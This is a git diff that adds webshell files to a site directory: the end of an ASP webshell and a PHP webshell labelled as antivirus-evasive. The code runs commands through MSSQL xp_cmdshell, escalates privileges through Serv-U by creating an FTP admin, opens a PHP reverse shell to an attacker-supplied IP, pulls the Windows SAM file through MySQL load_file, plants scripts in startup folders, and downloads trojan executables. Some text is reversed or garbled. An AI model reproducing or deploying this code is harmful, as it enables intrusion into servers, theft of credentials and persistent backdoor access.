    " +if instr(SI,SIC)<>0 then j sI +end if +response.end +end if + +ShiSan="buS dnEfI dnEfI dnEfI dnE)>rb<>tnof/<ſ>der=roloc tnof<......... & muNtrop & : & pitegrat(jeslE)>rb<չ......... & muNtrop & : & pitegrat(jnehT 0 > ).))(tcennoC( ,noitpircsed.rrE(rtSnI fInehT 9527647412- = rebmun.rrE ro 3487127412- = rebmun.rrE fInehT rrE fIrtsnnoc nepo.nnoc1 = tuoemiTnoitcennoC.nnoc;=drowssaP;2ekal=DI resU;& muNtrop &,& pitegrat & =ecruoS ataD;1.BDELOLQS=redivorP=rtsnnoc)noitcennoc.BDODA(tcejbOetaerC.revreS = nnoc testxeN emuseR rorrE nO)muNtrop ,pitegrat(nacS buSbus dneFI DNEs &emiteht& ni ssecorP>rhrbrb xkees fI)- ,)i(pmt(rtSnI = xkeeseslE))i(pmt ,xxx & tratSpi(nacS llaC nehT ))i(pmt(ciremunsI fI)pmt(dnuobU oT 0 = i roF))-,)uh(pi(rtSnI-))uh(pi(neL,1+)-,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+).,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF)).,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpieslEtxeNfI dnEfI dnE)>rbrb xkees fI)- ,)i(pmt(rtSnI = xkeeseslE))i(pmt ,)uh(pi(nacS llaC nehT ))i(pmt(ciremunsI fI)pmt(dnuobU oT 0 = i roFnehT 0 = )-,)uh(pi(rtSnI fI)pi(dnuobU ot 0 = uh roF),,)pi(mroF.tseuqer(tilpS = pi),,)trop(mroF.tseuqer(tilpS = pmt)>rh<>rb<>b/<:汨ɨ>b<(jremit = 1remitnehT >< )nacs(mroF.tseuqer fI>mrof/<>p/'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni' nacs '=eulav 'mottub'=ssalc 'timbus'=epyt 'timbus'=eman tupnirb<>rb'&tsiLtroP&'=eulav '06'=ezis 'xoBtxeT'=ssalc 'txet'=epyt 'trop'=eman tupnirb'06'=ezis '&PI&'=eulav 'pi'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pi'=eman tupni< j :PI nacS>p';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrofp/<ϵִLLEHS롣ܿPIɨǹ>p<>p/<)ȷ׼ɨڶDMCDMCʹ˸,ϱȶ,ڶ˸ɨ(ɨڶ>p
    MSSQL Commander
    Command UserName Password 
    ":j SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:j request.form("MMD") & "
    "& strResult:end FuncTion:case "Alexa" +dim AlexaUrl,Top:AlexaUrl=request("u"):Top=Alexa(AlexaUrl):if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&"" +SI="
    " +For i=0 To 18 +SI=SI&"" +Next +j SI +Err.Clear + +function getHTTPPage(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +getHTTPPage="" +exit function +end if +getHTTPPage=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +Function bytes2BSTR(vIn) +dim strReturn +dim i1,ThisCharCode,NextCharCode +strReturn = "" +For i1 = 1 To LenB(vIn) +ThisCharCode = AscB(MidB(vIn,i1,1)) +If ThisCharCode < &H80 Then +strReturn = strReturn & Chr(ThisCharCode) +Else +NextCharCode = AscB(MidB(vIn,i1+1,1)) +strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) +i1 = i1 + 1 +End If +Next +bytes2BSTR = strReturn + Err.Clear +End Function +Case "Servu" +SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ + "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +a.send loginuser & loginpass & mt & deldomain & quit +set session("a")=a +j"
    Ȩ,ִ
    "&cmd&"

    " +j"" +j"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +j"
    " +j"
    Ϣ
    "&request.serverVariables("SERVER_NAME")&"
    IP
    ʱ "&now&"
    CPU "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
    ϵͳ "&Request.ServerVariables("OS")&"
    WEB汾 "&Request.ServerVariables("SERVER_SOFTWARE")&"
    "&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
    " +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j" " +j" " +j" " +j" " +j" " +j" " +j" " +j" " +j"
    Serv-U Ȩ by Sam
    û:
    ڣ
    ϵͳ·
    " +j"" +j"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +case"MMD":MMD() +case"ReadREG":call ReadREG() +case"Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing +case"DownFile":DownFile FName:ShowErr() +case"DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing +case"EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing +case"CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing +case"MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing +case"DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing +case"CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing +case"MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing +case"NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing +case"UpFile":UpFile() +case"TSearch":TSearch() +case"pcanywhere4":pcanywhere4() +case"Cmd1Shell":Cmd1Shell() +case"Logout":Session.Contents.Remove("kkk"):Response.Redirect URL +case"Course":Course() +case"Alexa":Alexa() +case"suftp":suftp() +case"upload":upload() +case"radmin":radmin() +case"pcanywhere4":pcanywhere4() +case"goback":goback() +Case "ProFile":ProFile() +case"php":php() +case"downloads":downloads() +case"apjdel":apjdel() +case"cmdx":cmdx() +case"aspx":aspx() +case"hiddenshell":hiddenshell() +case"ScanDriveForm" : ScanDriveForm +case"ScanDrive" : ScanDrive Request("Drive") +case"ScFolder" : ScFolder Request("Folder") + Case Else MainForm() +End Select +if Action<>"Servu" then ShowErr() +j"" +%> + + \ No newline at end of file diff --git a/www-7jyewu-cn/免杀php大马.php b/www-7jyewu-cn/免杀php大马.php new file mode 100644 index 0000000..37a7e9b --- /dev/null +++ b/www-7jyewu-cn/免杀php大马.php @@ -0,0 +1,2488 @@ + $v) $_POST[$k] = stripslashes($v); + foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v); +} + +/*---End Login---*/ +if(isset($_GET['down'])) do_down($_GET['down']); +if(isset($_GET['pack'])){ + $dir = do_show($_GET['pack']); + $zip = new eanver($dir); + $out = $zip->out; + do_download($out,"eanver.tar.gz"); +} +if(isset($_GET['unzip'])){ + css_main(); + start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']); + exit; +} + +define('root_dir',str_replace('\\','/',dirname(myaddress)).'/'); +define('run_win',substr(PHP_OS, 0, 3) == "WIN"); +define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME'])); +$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : ""; +$doing = isset($_POST['doing']) ? $_POST['doing'] : ""; +$path = isset($_GET['path']) ? $_GET['path'] : root_dir; +$name = isset($_POST['name']) ? $_POST['name'] : ""; +$img = isset($_GET['img']) ? $_GET['img'] : ""; +$p = isset($_GET['p']) ? $_GET['p'] : ""; +$pp = urlencode(dirname($p)); +if($img) css_img($img); +if($eanver == "phpinfo") die(phpinfo()); +if($eanver == 'logout'){ + setcookie('envlpass',null); + die(''); +} + +$class = array( +"Ϣ" => array("upfiles" => "ϴļ","phpinfo" => "Ϣ","info_f" => "ϵͳϢ","eval" => "ִPHPű"), +"Ȩ" => array("sqlshell" => "ִSQLִ","mysql_exec" => "MYSQL","myexp" => "MYSQLȨ","servu" => "Serv-UȨ","nc" => "NC","downloader" => "ļ","port" => "˿ɨ"), +"" => array("guama" => "","tihuan" => "滻","scanfile" => "ļ","scanphp" => "ľ"), +"ű" => array("getcode" => "ȡҳԴ") +); +$msg = array("0" => "ɹ","1" => "ʧ","2" => "ϴɹ","3" => "ϴʧ","4" => "޸ijɹ","5" => "޸ʧ","6" => "ɾɹ","7" => "ɾʧ"); +css_main(); +switch($eanver){ + case "left": + css_left(); + html_n("
    "); + html_img("title");html_n(" Ӳ
      "); + $ROOT_DIR = File_Mode(); + html_n("
    • վĿ¼
    • "); + html_n("
    • Ŀ¼
    • "); + for ($i=66;$i<=90;$i++){$drive= chr($i).':'; + if (is_dir($drive."/")){$vol=File_Str("vol $drive");if(empty($vol))$vol=$drive; + html_n("
    • ش($drive)
    • ");}} + html_n("
    "); + $i = 2; + foreach($class as $name => $array){ + html_n("
    "); + html_img("title");html_n(" $name
      "); + foreach($array as $url => $value){ + html_n("
    • $value
    • "); + } + html_n("
    "); + $i++; + } + html_n("
    "); + html_img("title");html_n("
      "); + html_n("
    • ɱ
    • "); + html_n("
    • ȫ˳
    • "); + html_n("
    "); + html_n("
    "); + break; + + case "main": + css_js("1"); + $dir = @dir($path); + $REAL_DIR = File_Str(realpath($path)); + if(!empty($_POST['actall'])){echo '
    '.File_Act($_POST['files'],$_POST['actall'],$_POST['inver'],$REAL_DIR).'
    ';} + $NUM_D = $NUM_F = 0; + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $ROOT_DIR = File_Mode(); + html_n("
    ַ:"); + html_n("
    "); + html_n("
    "); + html_n(" "); + html_input("file","upfilet","","      "); + html_input("submit","uploadt","ϴ"); + if(!empty($_POST['newfile'])){ + if(isset($_POST['bin'])) $bin = $_POST['bin']; else $bin = "wb"; + if (substr(PHP_VERSION,0,1)>=5){if(($_POST['charset']=='GB2312') or ($_POST['charset']=='GBK')){}else{$_POST['txt'] = iconv("gb2312//IGNORE",$_POST['charset'],$_POST['txt']);}} + echo do_write($_POST['newfile'],$bin,$_POST['txt']) ? '
    '.$_POST['newfile'].' '.$msg[0] : '
    '.$_POST['newfile'].' '.$msg[1]; + @touch($_POST['newfile'],@strtotime($_POST['time'])); + } + html_n('
    '); + while($dirs = @$dir->read()){ + if($dirs == '.' or $dirs == '..') continue; + $dirpath = str_path("$path/$dirs"); + if(is_dir($dirpath)){ + $perm = substr(base_convert(fileperms($dirpath),10,8),-4); + $filetime = @date('Y-m-d H:i:s',@filemtime($dirpath)); + $dirpath = urlencode($dirpath); + html_n(''); + $NUM_D++; + } + } + @$dir->rewind(); + while($files = @$dir->read()){ + if($files == '.' or $files == '..') continue; + $filepath = str_path("$path/$files"); + if(!is_dir($filepath)){ + $fsize = @filesize($filepath); + $fsize = File_Size($fsize); + $perm = substr(base_convert(fileperms($filepath),10,8),-4); + $filetime = @date('Y-m-d H:i:s',@filemtime($filepath)); + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$filepath); + $todir=$ROOT_DIR.'/zipfile'; + $filepath = urlencode($filepath); + $it=substr($filepath,-3); + html_n(''); + $NUM_F++; + } + } + @$dir->close(); + if(!$Filetime) $Filetime = gmdate('Y-m-d H:i:s',time() + 3600 * 8); +print<< +
    + + + + + + + +Ŀ¼({$NUM_D}) / ļ({$NUM_F})
    + +END; + break; + + case "editr": + css_js("2"); + if(!empty($_POST['uploadt'])){ + echo @copy($_FILES['upfilet']['tmp_name'],str_path($p.'/'.$_FILES['upfilet']['name'])) ? html_a("?eanver=main",$_FILES['upfilet']['name'].' '.$msg[2]) : msg($msg[3]); + die(''); + } + if(!empty($_GET['redir'])){ + $name=$_GET['name']; + $newdir = str_path($p.'/'.$name); + @mkdir($newdir,0777) ? html_a("?eanver=main",$name.' '.$msg[0]) : msg($msg[1]); + die(''); + } + + if(!empty($_GET['refile'])){ + $name=$_GET['name']; + $jspath=urlencode($p.'/'.$name); + $pp = urlencode($p); + $p = str_path($p.'/'.$name); + $FILE_CODE = ""; + $charset= 'GB2312'; + $FILE_TIME =date('Y-m-d H:i:s',time()+3600*8); + if(@file_exists($p)) echo 'Ŀ¼"ͬ"ļ
    '; + }else{ + $jspath=urlencode($p); + $FILE_TIME = date('Y-m-d H:i:s',filemtime($p)); + $FILE_CODE=@file_get_contents($p); + if (substr(PHP_VERSION,0,1)>=5){ + if(empty($_GET['charset'])){ + if(TestUtf8($FILE_CODE)>1){$charset= 'UTF-8';$FILE_CODE = iconv("UTF-8","gb2312//IGNORE",$FILE_CODE);}else{$charset= 'GB2312';} + }else{ + if($_GET['charset']=='GB2312'){$charset= 'GB2312';}else{$charset= $_GET['charset'];$FILE_CODE = iconv($_GET['charset'],"gb2312//IGNORE",$FILE_CODE);} + } + } + $FILE_CODE = htmlspecialchars($FILE_CODE); + } +print<<: + +
    +
    +ָ룺 + +END; +html_select(array("GB2312" => "GB2312","UTF-8" => "UTF-8","BIG5" => "BIG5","EUC-KR" => "EUC-KR","EUC-JP" => "EUC-JP","SHIFT-JIS" => "SHIFT-JIS","WINDOWS-874" => "WINDOWS-874","ISO-8859-1" => "ISO-8859-1"),$charset,"onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\""); +print<< +
    +
    ļ޸ʱ Զʽļ(ʹ)
    +
    +
    + +END; + break; + + case "rename": + html_n("
    "); + break; + + case "info_f": + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "ϴ"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
    ",$dis_func);$dis_func = str_replace(",","
    ",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("ʱ",date("Ymd h:i:s",time())), + array("","".$_SERVER['SERVER_NAME'].""), + array("IPַ",gethostbyname($_SERVER['SERVER_NAME'])), + array("ϵͳ",PHP_OS), + array("ϵͳֱ",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("",$_SERVER['SERVER_SOFTWARE']), + array("IP",$_SERVER["REMOTE_ADDR"]), + array("Web˿",$_SERVER['SERVER_PORT']), + array("PHPзʽ",strtoupper(php_sapi_name())), + array("PHP汾",PHP_VERSION), + array("ڰȫģʽ",Info_Cfg("safemode")), + array("Ա",$adminmail), + array("ļ·",myaddress), + array("ʹ URL ļ allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("ʹcurl_exec",Info_Fun("curl_exec")), + array("̬ӿ enable_dl",Info_Cfg("enable_dl")), + array("ʾϢ display_errors",Info_Cfg("display_errors")), + array("Զȫֱ register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("ʹڴ memory_limit",Info_Cfg("memory_limit")), + array("POSTֽ post_max_size",Info_Cfg("post_max_size")), + array("ϴļ upload_max_filesize",$upsize), + array("ʱ max_execution_time",Info_Cfg("max_execution_time").""), + array("õĺ disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("Ŀǰпռdiskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("ͼδ GD Library",Info_Fun("imageline")), + array("IMAPʼϵͳ",Info_Fun("imap_close")), + array("MySQLݿ",Info_Fun("mysql_close")), + array("SyBaseݿ",Info_Fun("sybase_close")), + array("Oracleݿ",Info_Fun("ora_close")), + array("Oracle 8 ݿ",Info_Fun("OCILogOff")), + array("PREL﷨ PCRE",Info_Fun("preg_match")), + array("PDFĵ֧",Info_Fun("pdf_close")), + array("Postgre SQLݿ",Info_Fun("pg_close")), + array("SNMPЭ",Info_Fun("snmpget")), + array("ѹļ֧(Zlib)",Info_Fun("gzclose")), + array("XML",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBCݿ",Info_Fun("odbc_close")), + array("Session֧",Info_Fun("session_start")), + array("Socket֧",Info_Fun("fsockopen")), + ); + $shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host"); + echo '
    '); + html_a('?eanver=main&path='.uppath($path),'ϼĿ¼'); + html_n(''); + html_n('ļ޸ʱļС
    '); + html_img("dir"); + html_a('?eanver=main&path='.$dirpath,$dirs); + html_n(''); + html_n(""); + html_n("ɾ "); + html_a('?pack='.$dirpath,''); + html_n(''); + html_a('?eanver=perm&p='.$dirpath.'&chmod='.$perm,$perm); + html_n(''.$filetime.''); + html_n('
    '); + html_img(css_showimg($files)); + html_a($Fileurls,$files); + html_n(''); + if(($it=='.gz') or ($it=='zip') or ($it=='tar') or ($it=='.7z')) + html_a('?unzip='.$filepath,'ѹ','title="ѹ'.$files.'" onClick="rusurechk(\''.$todir.'\',\'?unzip='.$filepath.'&todir=\');return false;"'); + else + html_a('?eanver=editr&p='.$filepath,'༭','title="༭'.$files.'"'); + + html_n(""); + html_n("ɾ "); + html_n(""); + html_n(''); + html_a('?eanver=perm&p='.$filepath.'&chmod='.$perm,$perm); + html_n(''.$filetime.''); + html_a('?down='.$filepath,$fsize,'title="'.$files.'"'); + html_n('
    "); + $newname = urldecode($pp).'/'.urlencode($_GET['newname']); + @rename($p,$newname) ? html_a("?eanver=main&path=$pp",urlencode($_GET['newname']).' '.$msg[4]) : msg($msg[5]); + die(''); + break; + + case "deltree": + html_n("
    "); + do_deltree($p) ? html_a("?eanver=main&path=$pp",$p.' '.$msg[6]) : msg($msg[7]); + die(''); + break; + + case "del": + html_n("
    "); + @unlink($p) ? html_a("?eanver=main&path=$pp",$p.' '.$msg[6]) : msg($msg[7]); + die(''); + break; + + case "copy": + html_n("
    "); + $newpath = explode('/',$_GET['newcopy']); + $pathr[0] = $newpath[0]; + for($i=1;$i < count($newpath);$i++){ + $pathr[] = urlencode($newpath[$i]); + } + $newcopy = implode('/',$pathr); + @copy($p,$newcopy) ? html_a("?eanver=main&path=$pp",$newcopy.' '.$msg[4]) : msg($msg[5]); + die(''); + break; + + case "perm": + html_n("
    ".$p.' Ϊ: '); + if(is_dir($p)){ + html_select(array("0777" => "0777","0755" => "0755","0555" => "0555"),$_GET['chmod']); + }else{ + html_select(array("0666" => "0666","0644" => "0644","0444" => "0444"),$_GET['chmod']); + } + html_input("submit","save","޸"); + back(); + if($_POST['class']){ + switch($_POST['class']){ + case "0777": $change = @chmod($p,0777); break; + case "0755": $change = @chmod($p,0755); break; + case "0555": $change = @chmod($p,0555); break; + case "0666": $change = @chmod($p,0666); break; + case "0644": $change = @chmod($p,0644); break; + case "0444": $change = @chmod($p,0444); break; + } + $change ? html_a("?eanver=main&path=$pp",$msg[4]) : msg($msg[5]); + die(''); + } + html_n("
    '; + for($i = 0;$i < count($info);$i++){echo ''."\n";} +try{$registry_proxystring = $shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\PortNumber"); +$Telnet = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\TelnetServer\\1.0\\TelnetPort"); +$PcAnywhere = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Symantec\\pcAnywhere\\CurrentVersion\\System\\TCPIPDataPort"); +}catch(Exception $e){} + echo ''."\n"; + echo ''."\n"; + echo ''."\n"; + echo '
    '.$info[$i][0].''.$info[$i][1].'
    Terminal Service˿Ϊ'.$registry_proxystring.'
    Telnet˿Ϊ'.$Telnet.'
    PcAnywhere˿Ϊ'.$PcAnywhere.'
    '; + break; + + case "nc": + $M_ip = isset($_POST['mip']) ? $_POST['mip'] : $_SERVER["REMOTE_ADDR"]; + $B_port = isset($_POST['bport']) ? $_POST['bport'] : '1019'; +print<< +
    ʹ÷
    + Լ"nc -l -p 1019"
    + ȻڴдԵIP,ӣ
    +
    IP ˿ں
    +
    + +END; + if((!empty($_POST['mip'])) && (!empty($_POST['bport']))) + { + echo '
    '; + $mip=$_POST['mip']; + $bport=$_POST['bport']; + $fp=fsockopen($mip , $bport , $errno, $errstr); + if (!$fp){ + $result = "Error: could not open socket connection"; + }else { + fputs ($fp ,"\n*********************************************\n + hacking url:http://www.7jyewu.cn/ is ok! + \n*********************************************\n\n"); + while(!feof($fp)){ + fputs ($fp," [r00t@H4c3ing:/root]# "); + $result= fgets ($fp, 4096); + $message=`$result`; + fputs ($fp,"--> ".$message."\n"); + } + fclose ($fp); + } + echo '
    '; + } + break; + + + case "sqlshell": + $MSG_BOX = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = 'MYSQLʧ'; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'envl.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = 'ļʧ'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; +print<< +
    +
    +˿ + + +
    +
    +END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/ʼ˵///exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(myaddress)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? 'ϴļɹ' : 'ϴļʧ'; + } + else $MSG_BOX = 'ʱʧ'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = 'ʱʧ'; + } +print<<
    ϴ· +

    ѡļ +
    +END; +} +elseif($o == 'd') +{ +print<<

    ļ +
    +END; +} +else +{ + if(!empty($_POST['msql'])) + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = 'ִSQLɹ
    '; + $k = 0; + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + } + else $MSG_BOX .= mysql_error(); + } +print<< +function nFull(i){ + Str = new Array(11); + Str[0] = "select version();"; + Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'"; + Str[2] = "select '' into outfile 'F:/web/bak.php';"; + Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
    +
    + + +END; +} + if($MSG_BOX != '') echo '
    '.$MSG_BOX.'
    '; + else echo '
    '; + break; + + case "downloader": + $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe'; + $Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(myaddress).'/muma.exe'); +print<< +
    +
    ص
    +
    +END; + if((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) + { + echo '
    '; + $contents = @file_get_contents($_POST['durl']); + if(!$contents) echo '޷ȡҪص'; + else echo File_Write($_POST['dpath'],$contents,'wb') ? 'ļɹ' : 'ļʧ'; + echo '
    '; + } + break; + + case "issql": + session_start(); + if($_POST['sqluser'] && $_POST['sqlpass']){ + $_SESSION['sql_user'] = $_POST['sqluser']; + $_SESSION['sql_password'] = $_POST['sqlpass']; + } + if($_POST['sqlhost']){$_SESSION['sql_host'] = $_POST['sqlhost'];} + else{$_SESSION['sql_host'] = 'localhost';} + if($_POST['sqlport']){$_SESSION['sql_port'] = $_POST['sqlport'];} + else{$_SESSION['sql_port'] = '3306';} + if($_SESSION['sql_user'] && $_SESSION['sql_password']){ + if(!($sqlcon = @mysql_connect($_SESSION['sql_host'].':'.$_SESSION['sql_port'],$_SESSION['sql_user'],$_SESSION['sql_password']))){ + unset($_SESSION['sql_user'], $_SESSION['sql_password'], $_SESSION['sql_host'], $_SESSION['sql_port']); + die(html_a('?eanver=sqlshell','ʧ뷵')); + } + } + else{ + die(html_a('?eanver=sqlshell','ʧ뷵')); + } + $query = mysql_query("SHOW DATABASES",$sqlcon); + html_n('
  • ݿб:'); + while($db = mysql_fetch_array($query)) { + html_a('?eanver=issql&db='.$db['Database'],$db['Database']); + echo '  '; + } + html_n('

    '); + html_select(array(0=>"--SQL﷨--",7=>"",8=>"ɾ",9=>"޸",10=>"ݱ",11=>"ɾݱ",12=>"ֶ",13=>"ɾֶ"),0,"onchange='return Full(options[selectedIndex].value)'"); + html_input("submit","doquery","ִ"); + html_a("?eanver=issql&db=".$_GET['db'],$_GET['db']); + html_n('--->'); + html_a("?eanver=issql&db=".$_GET['db']."&table=".$_GET['table'],$_GET['table']); + html_n('

